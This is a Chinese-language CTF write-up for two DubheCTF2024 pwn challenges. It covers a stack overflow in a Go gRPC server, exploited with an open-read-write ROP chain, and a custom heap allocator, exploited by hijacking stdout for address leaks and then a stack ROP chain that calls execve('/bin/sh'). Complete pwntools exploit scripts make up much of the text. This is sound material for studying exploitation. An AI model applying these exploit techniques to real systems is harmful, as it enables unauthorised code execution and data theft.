0%

DubheCTF2024

ggbond

1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=ToABmmiACyxYP6ANjPii/mBNQG9mzJa6bIWHLsokK/NmmbD1vsv7bojlz5M5b8/uc_h6deBc8Nkqg4RmiJv, stripped
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,NX,FORTIFY

程序分析

程序是一个 gRPC 服务器,先使用 /pbtk/extractors/from_binary.py 来获取其 proto 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
rpc Handler(Request) returns (Response);
}

message Request {
oneof request { // neof字段被解释成枚举类型
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}

message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}

message WhoamiRequest {

}

message WhoamiResponse {
string message = 2000;
}

message RoleChangeRequest {
uint32 role = 1001;
}

message RoleChangeResponse {
string message = 2001;
}

message RepeaterRequest {
string message = 1002;
}

message RepeaterResponse {
string message = 2002;
}

message ErrorResponse {
string message = 4444;
}
  • 服务端内置模块为 Handler,其中有3个子功能

使用如下命令编译 proto 文件:

1
python3 -m grpc_tools.protoc -I ./ --python_out=./ --grpc_python_out=. ./ggbond.proto

在开始分析程序前建议用 AlphaGolang 恢复符号

在 RegisterService 函数前断点,开始调试分析:

1
2
3
4
.text:00000000007EE21A 48 8B 0D 8F D1 18 00          mov     rcx, cs:off_97B3B0
.text:00000000007EE221 48 8D 1D 38 B6 46 00 lea rbx, off_C59860 ; "GGBond.GGBondServer"
.text:00000000007EE228 48 8D 3D E1 6A 4A 00 lea rdi, unk_C94D10
.text:00000000007EE22F E8 CC 47 FE FF call google_golang_org_grpc__Server_RegisterService

打印其第二个参数(RBX)的数据,该参数其实是 ServiceDesc 对象,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
type ServiceDesc struct {
ServiceName string
// The pointer to the service interface. Used to check whether the user
// provided implementation satisfies the interface requirements.
HandlerType any
Methods []MethodDesc
Streams []StreamDesc
Metadata any
}

type MethodDesc struct {
MethodName string
Handler methodHandler
}

type StreamDesc struct {
StreamName string
Handler StreamHandler

ServerStreams bool
ClientStreams bool
}
  • MethodDesc 中存储有我们注册的函数
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0xc59860
00:0000│ rbx 0xc59860 —▸ 0x8d7742 ◂— 0x472e646e6f424747 ('GGBond.G') /* ServiceName */
01:00080xc59868 ◂— 0x13
02:00100xc59870 —▸ 0x81aba0 ◂— 0x8
03:00180xc59878 ◂— 0x0
04:00200xc59880 —▸ 0xc525c0 —▸ 0x8cff19 ◂— 0x4872656c646e6148 ('HandlerH') /* MethodDesc */
05:00280xc59888 ◂— 0x1
06:00300xc59890 ◂— 0x1
07:00380xc59898 —▸ 0xc94a20 ◂— 0x1010101010101
  • 打印 MethodDesc 的数据如下:
1
2
3
4
5
6
pwndbg> telescope 0xc525c0
00:00000xc525c0 —▸ 0x8cff19 ◂— 0x4872656c646e6148 ('HandlerH')
01:00080xc525c8 ◂— 0x7
02:00100xc525d0 —▸ 0x90bd28 —▸ 0x7ed300 ◂— lea r12, [rsp - 2e8h]
03:00180xc525d8 ◂— 0x0
... ↓ 4 skipped
  • 地址 0x7ed300 所在的函数即是目标函数的 handler:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
void *__fastcall main_ggbond__GGBondServer_Handler_Handler(
__int64 a1,
__int64 (**a2)(void),
__int64 a3,
__int64 a4,
__int64 (**a5)(void))
{
__int64 v5; // rax
__int64 v6; // rbx
__int64 v7; // r14
char *v8; // rcx
__int64 i; // rax
_QWORD *v10; // rax
_QWORD *v11; // rax
__int64 v13; // rax
char v14[80]; // [rsp+40h] [rbp-338h] BYREF
char v15; // [rsp+90h] [rbp-2E8h] BYREF
_QWORD *v16; // [rsp+340h] [rbp-38h]
__int64 v17; // [rsp+348h] [rbp-30h]
__int64 v18; // [rsp+350h] [rbp-28h]
char *v19; // [rsp+358h] [rbp-20h]
__int64 v20; // [rsp+360h] [rbp-18h]
__int64 v21; // [rsp+368h] [rbp-10h]

if ( (unsigned __int64)&v15 <= *(_QWORD *)(v7 + 16) )
runtime_morestack_noctxt();
v18 = v5;
v17 = runtime_newobject();
if ( (*a2)() )
return 0LL;
if ( a5 )
{
v10 = (_QWORD *)runtime_newobject();
*v10 = v18;
if ( dword_C95060 )
v10 = (_QWORD *)runtime_gcWriteBarrierDX();
else
v10[1] = v6;
v16 = v10;
v10[3] = 28LL;
v10[2] = "/GGBond.GGBondServer/Handler";
v11 = (_QWORD *)runtime_newobject();
*v11 = sub_7ED5C0;
v11[1] = v18;
if ( dword_C95060 )
runtime_gcWriteBarrierR9();
else
v11[2] = v6;
return (void *)(*a5)();
}
else
{
((void (*)(void))loc_468D3C)();
v19 = v14;
v20 = 768LL;
v21 = 768LL;
v8 = v14;
for ( i = 0LL; i < 16; ++i )
*v8++ = 16;
v13 = runtime_assertE2I();
(*(void (**)(void))(v13 + 24))(); /* 调用目标函数 */
return &unk_8A32C0;
}
}
  • 我们直接在调用目标函数的地方打断点(b* 0x7ED545),查看目标函数的位置:
1
0x7ed545    call   rdx                           <0x7ed860>
  • 这里的 0x7ed860 即使目标函数的地址

漏洞分析

找到服务端注册函数的位置后,我们可以开始漏洞分析:

  • 程序内置了4个 role(编号为:0,1,2,3)
  • 通过 whoami 命令可以查看当前的 role
  • 通过 role_change 命令则可以切换 role
  • 通过 repeater 可以发送一条长数据(没有限制长度)

漏洞点如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
if ( qword_C94B80 == 3 ) /* 如果role编号为'3' */
{
v51 = runtime_newobject();
v18 = (_QWORD *)runtime_newobject();
v55 = v18;
if ( dword_C95060 )
runtime_gcWriteBarrierCX();
else
*v18 = v51;
v19 = runtime_newobject();
v20 = &off_979A60;
*(_QWORD *)(v19 + 40) = &off_979A60;
if ( dword_C95060 )
v19 = runtime_gcWriteBarrierDX();
else
*(_QWORD *)(v19 + 48) = v55;
v21 = *(_QWORD *)(v19 + 48);
if ( *(void ***)(v19 + 40) != v20 )
runtime_panicdottypeI();
if ( (unsigned __int64)qword_C525A8 <= 3 )
runtime_panicIndex();
v45 = v19;
v57 = (__int64 *)v21;
v22 = off_C525A0[6];
v23 = runtime_concatstring2();
v24 = *v57;
*(_QWORD *)(*v57 + 48) = v22;
if ( dword_C95060 )
runtime_gcWriteBarrier();
else
*(_QWORD *)(v24 + 40) = v23;
if ( *(void ***)(a1 + 40) != &off_9799C0 )
runtime_panicdottypeI();
v25 = **(_QWORD **)(a1 + 48);
v43 = *(_QWORD *)(v25 + 48);
v26 = *(_QWORD *)(v25 + 40);
v59 = (_BYTE *)encoding_base64__Encoding_DecodeString();
v60 = v26;
v61 = v27;
v44[0] = v2;
v44[1] = v2;
v62 = v44;
v63 = 32LL;
v64 = 32LL;
v28 = v44;
v29 = v59;
for ( i = 0LL; i < (__int64)(3 * (v43 >> 2)); ++i ) /* 往栈中填写数据 */
{
*(_BYTE *)v28 = *v29;
v28 = (__int128 *)((char *)v28 + 1);
++v29;
}
return v45;
}
  • 程序对 “role编号为3” 这种情况进行了特殊处理,并且往栈中填写了传入数据(栈溢出)

入侵思路

有了栈溢出就可以构造 ORW 链(没法在服务端上直接获取 shell)

  • 注意:传入的数据会进行 base64 加密,因此实际偏移应该是 0xc8

由于 go 的内置函数是使用栈来传参的,因此需要一个 gadget 来为 ORW 链恢复栈帧

1
2
3
4
5
6
  0x469e60    mov    edi, 0ffffff9ch
0x469e65 mov rsi, qword ptr [rsp + 8]
0x469e6a mov edx, dword ptr [rsp + 10h]
0x469e6e mov r10d, dword ptr [rsp + 14h]
0x469e73 mov eax, 101h
0x469e78 syscall <SYS_openat>

可以使用 ROPgadget 来进行查找:

1
ROPgadget --binary ./pwn --only "add|ret" | grep "rsp"
1
0x000000000040295a : add rsp, 0x20 ; ret

我们不能直接在服务端上 write flag,这里有两种思路:

  • 重新构建 socket 将 flag 传送到客户端
  • 将 flag 拷贝到响应数据中,借用程序的代码发送数据

经过尝试发现这两种方式都不好实现,查看网上 wp 时发现了另一种方式,通过现成的 socket 传输 flag

  • 这样会导致结构错误从而使 python 没法处理数据,但是我们可以直接抓包获取 flag
  • 除此以外还有另一种方法:
1
2
p = remote("127.0.0.1", 23334)
conn = grpc.insecure_channel('localhost:23334')
  • 这两个虽然是不同的连接,但 p.recv 仍然可以接受 conn 的数据(可能底层就是抓取数据包)
1
2
3
4
5
6
7
8
try:
response: pb2.RepeaterResponse = client.Handler(
pb2.Request(
repeater=pb2.RepeaterRequest(message=b64encode(payload).decode())
)
)
except:
print(p.recv(0x1000))

于是便可以直接 ORW

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# -*- coding:utf-8 -*-
from pwn import *
import grpc
import ggbond_pb2 as pb2
import ggbond_pb2_grpc as pb2_grpc
from base64 import b64encode

arch = 64
challenge = './pwn'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

def debug():
gdb.attach(p,"")
#gdb.attach(p,"b *$rebase()\n")
pause()

def cmd(op):
sla(">",str(op))

open_go = 0x469E60
write_go = 0x478e20
read_go = 0x469EE0
sendto_go = 0x47A500
flag_addr = 0x7F058B+1
add_rsp_ret = 0x000000000040295a
pop_rdi_ret = 0x0000000000401537
pop_rsi_ret = 0x0000000000422398
pop_rdx_ret = 0x0000000000461bd1
pop_rax_ret = 0x00000000004101e6
pop_rbx_ret = 0x0000000000401a41
pop_rcx_ret = 0x00000000004cc7e3
syscall_ret = 0x000000000046a034
return_addr = 0x7ed500

def pwn():
p = remote("127.0.0.1", 23334)
conn = grpc.insecure_channel('localhost:23334')
client = pb2_grpc.GGBondServerStub(channel=conn)

response: pb2.WhoamiResponse = client.Handler(
pb2.Request(
whoami=pb2.WhoamiRequest()
)
)
print(response)

response: pb2.RoleChangeResponse = client.Handler(
pb2.Request(
role_change=pb2.RoleChangeRequest(role=3)
)
)
print(response)

payload = b"a"*0xc8
payload += p64(open_go)
payload += p64(add_rsp_ret)
payload += p64(flag_addr)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(read_go)
payload += p64(add_rsp_ret)
payload += p64(9)
payload += p64(0xc000200000)
payload += p64(0x100)
payload += p64(0)
payload += p64(pop_rax_ret)
payload += p64(1)
payload += p64(pop_rdi_ret)
payload += p64(7)
payload += p64(pop_rsi_ret)
payload += p64(0xc000200000)
payload += p64(pop_rdx_ret)
payload += p64(0x100)
payload += p64(syscall_ret)

try:
response: pb2.RepeaterResponse = client.Handler(
pb2.Request(
repeater=pb2.RepeaterRequest(message=b64encode(payload).decode())
)
)
except:
print(p.recv(0x1000))

pwn()

BuggyAllocator

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.6) stable release version 2.35.
1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5724ebe3943a39c4ff00f553bc288b5fbb9a2e61, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
  • 64位,dynamically,Full RELRO,Canary,NX

漏洞分析

本题目实现了一个简易的堆分配器

分配逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ( !len )
return 0LL;
if ( len > 0x80 )
return malloc_t(len);
chunk = (char **)&free_list[get_order(len)]; /* 链表数组 */
re = *chunk;
if ( *chunk )
{
*chunk = *(char **)re;
return re;
}
else
{
len_align = do_align(len);
return new_list(len_align);
}
  • 长度大于 0x80 使用 ptmalloc,否则使用程序实现的逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> telescope 0x11b5ea0
00:00000x11b5ea0 ◂— 0x0
01:00080x11b5ea8 ◂— 0x291
02:00100x11b5eb0 —▸ 0x11b5f00 —▸ 0x11b5f10 —▸ 0x11b5f20 —▸ 0x11b5f30 ◂— ...
03:00180x11b5eb8 ◂— 0x3131313131313131 ('11111111')
04:00200x11b5ec0 —▸ 0x11b5eb0 —▸ 0x11b5f00 —▸ 0x11b5f10 —▸ 0x11b5f20 ◂— ...
05:00280x11b5ec8 ◂— 0x3232323232323232 ('22222222')
06:00300x11b5ed0 ◂— 0x3333333333333333 ('33333333')
07:00380x11b5ed8 ◂— 0x3333333333333333 ('33333333')
08:00400x11b5ee0 ◂— 0x3434343434343434 ('44444444')
09:00480x11b5ee8 ◂— 0x3434343434343434 ('44444444')
0a:00500x11b5ef0 ◂— 0x3535353535353535 ('55555555')
0b:00580x11b5ef8 ◂— 0x3535353535353535 ('55555555')
0c:00600x11b5f00 —▸ 0x11b5f10 —▸ 0x11b5f20 —▸ 0x11b5f30 —▸ 0x11b5f40 ◂— ...
0d:00680x11b5f08 ◂— 0x0
  • 先申请一个大缓冲区,然后分割为相同大小的小缓冲区
  • 对于没有使用的空间则会记录 free chunk 链表

程序会维护一个链表数组,并从链表数组中提取 free chunk:

1
2
3
4
pwndbg> telescope 0x404420
00:00000x404420 ◂— 0x0
01:00080x404428 —▸ 0x11b5ec0 —▸ 0x11b5eb0 —▸ 0x11b5f00 —▸ 0x11b5f10 ◂— ...
02:00100x404430 ◂— 0x0

程序会维护一个结构体数组,用于记录已经分配的 chunk:

1
2
3
4
5
6
7
8
pwndbg> telescope 0x4044A0
00:00000x4044a0 ◂— 0x0
... ↓ 4 skipped
05:00280x4044c8 —▸ 0x11b5ed0 ◂— 0x3333333333333333 ('33333333')
06:00300x4044d0 ◂— 0x10
07:00380x4044d8 —▸ 0x11b5ee0 ◂— 0x3434343434343434 ('44444444')
08:00400x4044e0 ◂— 0x10
09:00480x4044e8 —▸ 0x11b5ef0 ◂— 0x3535353535353535 ('55555555')

释放逻辑如下:

1
2
3
4
5
6
7
8
9
10
if ( a2 <= 0x80 )
{
order = get_order(a2);
*a1 = free_list[order];
free_list[order] = a1;
}
else
{
free_s(a1);
}
  • 首先确定目标 chunk 在结构体数组中的位置,然后进行释放
  • 在 free chunk 中记录 free_list[order],并将 free chunk 记录为新的链表头

该漏洞是一个逻辑漏洞,本质原因是因为大缓冲区有部分空间没有第一时间初始化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> telescope 0xe7aea0
00:00000xe7aea0 ◂— 0x0 /* start */
01:00080xe7aea8 ◂— 0x291
02:0010│ r9 0xe7aeb0 ◂— 0x41414141414141 /* 'AAAAAAA' */
03:00180xe7aeb8 ◂— 0x0
04:00200xe7aec0 —▸ 0xe7aed0 —▸ 0xe7aee0 —▸ 0xe7aef0 —▸ 0xe7af00 ◂— ...
05:00280xe7aec8 ◂— 0x0
......
22:01100xe7afb0 —▸ 0xe7afc0 —▸ 0xe7afd0 —▸ 0xe7afe0 ◂— 0x0
23:01180xe7afb8 ◂— 0x0
24:01200xe7afc0 —▸ 0xe7afd0 —▸ 0xe7afe0 ◂— 0x0
25:01280xe7afc8 ◂— 0x0
26:01300xe7afd0 —▸ 0xe7afe0 ◂— 0x0
27:01380xe7afd8 ◂— 0x0 /* 为初始化的free chunk链表 */
......
48:02400xe7b0e0 ◂— 0x0
... ↓ 7 skipped
50:02800xe7b120 ◂— 0x0
... ↓ 2 skipped
53:02980xe7b138 ◂— 0xeed1 /* end */

如果我们提前在未初始化的空间中写入数据,那么程序就会误以为该空间已经初始化过了,从而将我们写入的空间分配出去

入侵思路

程序没有泄露,但 stdout 处于 bss 段可以被劫持,因此首先我们需要劫持 stdout 来泄露数据:

1
2
3
4
pwndbg> telescope 0x404420
00:00000x404420 ◂— 0x0
... ↓ 7 skipped
08:00400x404460 —▸ 0x404040 (stdout) —▸ 0x75458dc1b780 (_IO_2_1_stdout_) ◂— 0xfbad2887
  • 申请两次 chunk 即可修改 _IO_2_1_stdout_

泄露完成以后就是高 libc 利用的过程了:

  • 劫持 libc GOT
  • 劫持 stack
  • 劫持 IO
  • 劫持 exit_hook
  • 劫持 tls_dtor_list_addr

由于我们已经劫持了程序的 free_list,可以进行任意读写,因此这里选择劫持栈

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.35.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"")
#gdb.attach(p,"b *$rebase()\n")
#pause()

def cmd(op):
sla(">",str(op))

def add(index,size,data):
cmd(1)
sla("idx",str(index))
sla("size",str(size))
sa("Content",data)

def dele(index):
cmd(2)
sla("idx",str(index))

def stdout_leak(start,end):
payload = p64(0xfbad1800)+p64(0)*3
payload += p64(start)+p64(end)
return payload

#debug()

free_list_addr = 0x404420
chunk_list_addr = 0x4044A0
stdout_addr = 0x404040

add(0,0x280,p64(free_list_addr+0x40)*(0x280//8))
dele(0)
for i in range(0x14):
add(i,0x10,chr(ord('A')+i)*7)
add(0x14,0x10,p64(stdout_addr)+p64(free_list_addr+0x40))

add(0x15,0x48,'\x80')
payload = stdout_leak(0x404040,0x404410)
add(0x16,0x48,payload)

ru(": ")
leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak_addr - 0x21b780
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

ru("\xf0") # 0x1fc6ff0
leak_addr = u64(p.recv(4).ljust(8,b'\x00'))*0x100
heap_base = leak_addr - 0x11f00
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

environ = libc_base + libc.sym['environ']
system = libc_base + libc.sym['system']
success("environ >> "+hex(environ))
success("system >> "+hex(system))

add(0x17,0x50,p64(stdout_addr)+p64(free_list_addr+0x60))
add(0x18,0x48,'\x80')
payload = stdout_leak(environ,environ+8)
add(0x19,0x48,payload)

ru(": ")
leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
stack_addr = leak_addr - 0x140
success("leak_addr >> "+hex(leak_addr))
success("stack_addr >> "+hex(stack_addr))

pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_r12_ret = libc_base + 0x000000000011f2e7
syscall_addr = libc_base + 0x0000000000029db4
binsh_addr = libc_base + 0x1d8678

add(0x20,0x50,p64(stack_addr))
payload = p64(pop_rax_ret)+p64(59)
payload += p64(pop_rdi_ret)+p64(binsh_addr)
payload += p64(pop_rsi_ret)+p64(0)
payload += p64(pop_rdx_r12_ret)+p64(0)+p64(0)
payload += p64(syscall_addr)

#pause()
add(0x21,0x68,payload)

p.interactive()